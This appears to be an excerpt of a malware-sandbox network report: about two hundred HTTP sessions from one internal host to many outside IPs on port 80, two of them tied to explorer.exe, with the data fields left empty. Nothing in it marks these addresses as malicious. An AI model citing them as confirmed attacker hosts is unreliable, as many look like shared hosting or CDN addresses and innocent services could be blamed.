434	192.168.2.4	59699	151.101.1.195	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
435	192.168.2.4	59773	13.248.169.48	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
436	192.168.2.4	59774	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
437	192.168.2.4	59730	66.96.160.139	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
438	192.168.2.4	59834	23.227.38.32	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
439	192.168.2.4	59833	199.60.103.25	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
440	192.168.2.4	59772	198.49.23.145	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
441	192.168.2.4	59122	217.160.0.164	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
442	192.168.2.4	59879	104.21.20.204	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
443	192.168.2.4	59898	23.227.38.32	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
444	192.168.2.4	59874	162.255.119.149	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
445	192.168.2.4	59924	205.178.189.129	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
446	192.168.2.4	59973	65.8.178.81	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
447	192.168.2.4	59931	96.45.112.177	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
448	192.168.2.4	59972	108.167.135.109	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
449	192.168.2.4	59882	187.134.52.10	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
450	192.168.2.4	59922	162.215.248.230	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
451	192.168.2.4	60003	192.252.146.15	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
452	192.168.2.4	59570	95.128.72.24	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
453	192.168.2.4	59616	217.160.0.195	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
454	192.168.2.4	60207	13.248.169.48	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
455	192.168.2.4	60221	108.163.227.170	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
456	192.168.2.4	60261	64.91.249.20	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
457	192.168.2.4	60378	192.185.100.42	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
458	192.168.2.4	59899	185.103.16.167	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
459	192.168.2.4	59901	154.209.61.218	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
460	192.168.2.4	59936	103.26.43.131	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
461	192.168.2.4	59816	178.33.163.4	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
462	192.168.2.4	59835	157.112.187.45	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
463	192.168.2.4	59876	199.34.228.152	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
464	192.168.2.4	59875	162.215.248.230	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
465	192.168.2.4	60189	199.34.228.100	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
466	192.168.2.4	60260	185.103.16.167	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
467	192.168.2.4	60230	3.64.163.50	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
468	192.168.2.4	60269	64.190.63.136	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
469	192.168.2.4	59806	45.56.74.212	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
470	192.168.2.4	60679	166.62.28.100	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
471	192.168.2.4	60837	76.223.105.230	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
472	192.168.2.4	60830	15.197.142.173	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
473	192.168.2.4	60681	157.112.187.45	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
474	192.168.2.4	60849	13.248.169.48	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
475	192.168.2.4	60846	199.34.228.152	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
476	192.168.2.4	60848	205.178.189.129	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
477	192.168.2.4	60858	162.255.119.149	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
478	192.168.2.4	60857	187.134.52.10	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
479	192.168.2.4	60864	3.94.41.167	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
480	192.168.2.4	60646	217.160.0.164	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
481	192.168.2.4	59312	199.59.243.225	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
482	192.168.2.4	59327	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
483	192.168.2.4	59314	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
484	192.168.2.4	59313	15.197.142.173	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
485	192.168.2.4	60906	192.185.100.42	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
486	192.168.2.4	60826	192.64.119.142	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
487	192.168.2.4	60643	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
488	192.168.2.4	60674	23.227.38.32	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
489	192.168.2.4	60552	172.67.181.211	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
490	192.168.2.4	60910	162.215.248.230	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
491	192.168.2.4	60908	199.34.228.152	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
492	192.168.2.4	60973	15.197.192.55	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
493	192.168.2.4	61022	104.21.4.150	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
494	192.168.2.4	61076	151.101.1.195	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
495	192.168.2.4	61017	198.49.23.145	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
496	192.168.2.4	60904	209.126.24.60	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
497	192.168.2.4	61243	198.49.23.144	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
498	192.168.2.4	61021	95.128.72.24	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
499	192.168.2.4	60943	213.186.33.19	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
500	192.168.2.4	61016	160.124.181.5	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
501	192.168.2.4	61348	199.59.243.225	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
502	192.168.2.4	61354	23.227.38.32	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
503	192.168.2.4	61300	77.72.0.94	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
504	192.168.2.4	61263	154.209.61.218	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
505	192.168.2.4	61378	192.64.119.142	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
506	192.168.2.4	61371	64.182.43.254	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
507	192.168.2.4	61375	198.185.159.145	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
508	192.168.2.4	61384	15.197.142.173	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
509	192.168.2.4	61387	185.230.63.107	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
510	192.168.2.4	61386	66.96.160.139	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
511	192.168.2.4	61383	216.40.47.17	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
512	192.168.2.4	61413	192.185.100.42	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
513	192.168.2.4	61426	198.49.23.145	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
514	192.168.2.4	61428	162.215.248.230	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
515	192.168.2.4	61424	54.69.113.134	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
516	192.168.2.4	61539	76.223.105.230	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
517	192.168.2.4	61429	91.195.240.19	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
518	192.168.2.4	61329	103.20.214.243	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
519	192.168.2.4	61370	160.124.181.5	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
520	192.168.2.4	61536	3.94.41.167	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
521	192.168.2.4	61562	199.34.228.100	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
522	192.168.2.4	61790	162.159.134.42	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
523	192.168.2.4	61817	205.178.189.129	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
524	192.168.2.4	61868	15.197.142.173	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
525	192.168.2.4	61769	217.19.254.237	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
526	192.168.2.4	61908	205.178.187.19	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
527	192.168.2.4	61782	217.160.0.195	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
528	192.168.2.4	61810	178.33.163.4	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
529	192.168.2.4	61815	185.103.16.167	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
530	192.168.2.4	61814	91.195.240.19	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
531	192.168.2.4	61903	199.34.228.152	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
532	192.168.2.4	62008	13.248.169.48	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
533	192.168.2.4	62023	205.178.189.131	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
534	192.168.2.4	62057	13.248.169.48	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
535	192.168.2.4	62071	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
536	192.168.2.4	62030	69.20.103.147	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
537	192.168.2.4	61770	166.62.28.100	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
538	192.168.2.4	62021	34.133.154.140	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
539	192.168.2.4	61894	157.112.187.45	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
540	192.168.2.4	62090	185.230.63.107	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
541	192.168.2.4	62091	216.239.32.21	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
542	192.168.2.4	62120	185.230.63.171	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
543	192.168.2.4	62117	185.230.63.107	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
544	192.168.2.4	62070	199.34.228.100	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
545	192.168.2.4	62232	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
546	192.168.2.4	62237	13.248.169.48	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
547	192.168.2.4	62044	217.70.184.38	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
548	192.168.2.4	62059	185.103.16.167	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
549	192.168.2.4	62230	108.167.135.109	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
550	192.168.2.4	62231	15.197.142.173	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
551	192.168.2.4	62046	217.76.128.47	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
552	192.168.2.4	62221	64.91.249.20	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
553	192.168.2.4	62309	23.227.38.74	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
554	192.168.2.4	62224	34.133.154.140	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
555	192.168.2.4	62092	185.112.125.71	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
556	192.168.2.4	62177	95.128.72.24	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
557	192.168.2.4	62308	3.94.41.167	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
558	192.168.2.4	62354	65.8.178.81	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
559	192.168.2.4	62118	157.112.187.45	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
560	192.168.2.4	62375	23.227.38.32	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
561	192.168.2.4	62268	213.186.33.19	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
562	192.168.2.4	62353	64.182.43.254	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
563	192.168.2.4	62328	66.96.160.139	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
564	192.168.2.4	62073	166.62.28.100	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
565	192.168.2.4	62403	23.227.38.74	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
566	192.168.2.4	62327	162.215.248.230	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
567	192.168.2.4	62433	13.248.169.48	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
568	192.168.2.4	62479	162.255.119.149	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
569	192.168.2.4	62417	162.215.248.230	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
570	192.168.2.4	62462	199.34.228.100	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
571	192.168.2.4	62605	13.248.169.48	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
572	192.168.2.4	62679	162.159.134.42	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
573	192.168.2.4	62339	160.124.181.5	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
574	192.168.2.4	62678	205.178.189.129	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
575	192.168.2.4	62698	23.227.38.32	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
576	192.168.2.4	62683	205.178.187.24	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
577	192.168.2.4	62692	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
578	192.168.2.4	62554	187.134.52.10	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
579	192.168.2.4	62391	160.124.181.5	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
580	192.168.2.4	62400	154.209.61.218	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
581	192.168.2.4	62720	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
582	192.168.2.4	62719	15.197.142.173	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
583	192.168.2.4	62691	77.72.0.94	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
584	192.168.2.4	62711	83.98.155.23	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
585	192.168.2.4	62782	209.126.24.60	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
586	192.168.2.4	62860	104.21.20.204	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
587	192.168.2.4	62861	96.45.112.177	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
588	192.168.2.4	62710	103.20.214.243	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
589	192.168.2.4	63019	162.255.119.149	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
590	192.168.2.4	63017	185.230.63.171	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
591	192.168.2.4	63119	15.197.142.173	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
592	192.168.2.4	63126	142.250.217.211	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
593	192.168.2.4	63147	205.178.189.131	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
594	192.168.2.4	63016	178.33.163.4	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
595	192.168.2.4	63178	13.248.169.48	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
596	192.168.2.4	63189	76.223.105.230	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
597	192.168.2.4	63140	199.34.228.100	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
598	192.168.2.4	63160	87.98.154.146	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
599	192.168.2.4	63157	64.190.63.136	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
600	192.168.2.4	63195	217.76.128.47	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
601	192.168.2.4	63264	151.101.1.195	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
602	192.168.2.4	63289	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
603	192.168.2.4	63200	157.112.187.45	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
604	192.168.2.4	63388	15.197.192.55	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
605	192.168.2.4	63394	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
606	192.168.2.4	63395	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
607	192.168.2.4	63389	151.101.1.195	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
608	192.168.2.4	63319	95.128.72.24	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
609	192.168.2.4	63321	185.103.16.167	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
610	192.168.2.4	63320	91.195.240.19	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
611	192.168.2.4	63455	162.159.134.42	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
612	192.168.2.4	63280	160.124.181.5	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
613	192.168.2.4	63459	205.178.187.24	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
614	192.168.2.4	63473	205.178.189.129	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
615	192.168.2.4	63476	205.178.187.19	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
616	192.168.2.4	63481	108.163.227.170	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
617	192.168.2.4	63603	15.197.142.173	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
618	192.168.2.4	63497	199.34.228.100	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
619	192.168.2.4	63582	66.96.160.139	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
620	192.168.2.4	63653	76.223.105.230	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
621	192.168.2.4	63675	15.197.192.55	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
622	192.168.2.4	63648	185.230.63.107	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
623	192.168.2.4	63477	157.112.187.45	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
624	192.168.2.4	63689	3.94.41.167	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
625	192.168.2.4	63787	199.60.103.25	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
626	192.168.2.4	63691	199.34.228.152	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
627	192.168.2.4	63791	15.197.142.173	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
628	192.168.2.4	63710	162.215.248.230	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
629	192.168.2.4	63718	77.72.0.94	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
630	192.168.2.4	63702	91.195.240.19	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
631	192.168.2.4	63693	154.209.61.218	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
632	192.168.2.4	63690	160.124.181.5	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
633	192.168.2.4	63943	162.215.248.230	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
634	192.168.2.4	63944	199.34.228.100	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
635	192.168.2.4	64011	209.126.24.60	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
636	192.168.2.4	64020	64.91.249.20	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
637	192.168.2.4	64000	217.19.254.237	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
638	192.168.2.4	64010	217.76.128.47	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
639	192.168.2.4	64202	199.60.103.25	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
640	192.168.2.4	63945	172.217.15.206	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
641	192.168.2.4	64203	162.159.134.42	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
642	192.168.2.4	64123	54.69.113.134	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
643	192.168.2.4	64224	205.178.189.129	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
644	192.168.2.4	64225	54.69.113.134	80

Timestamp	Bytes transferred	Direction	Data
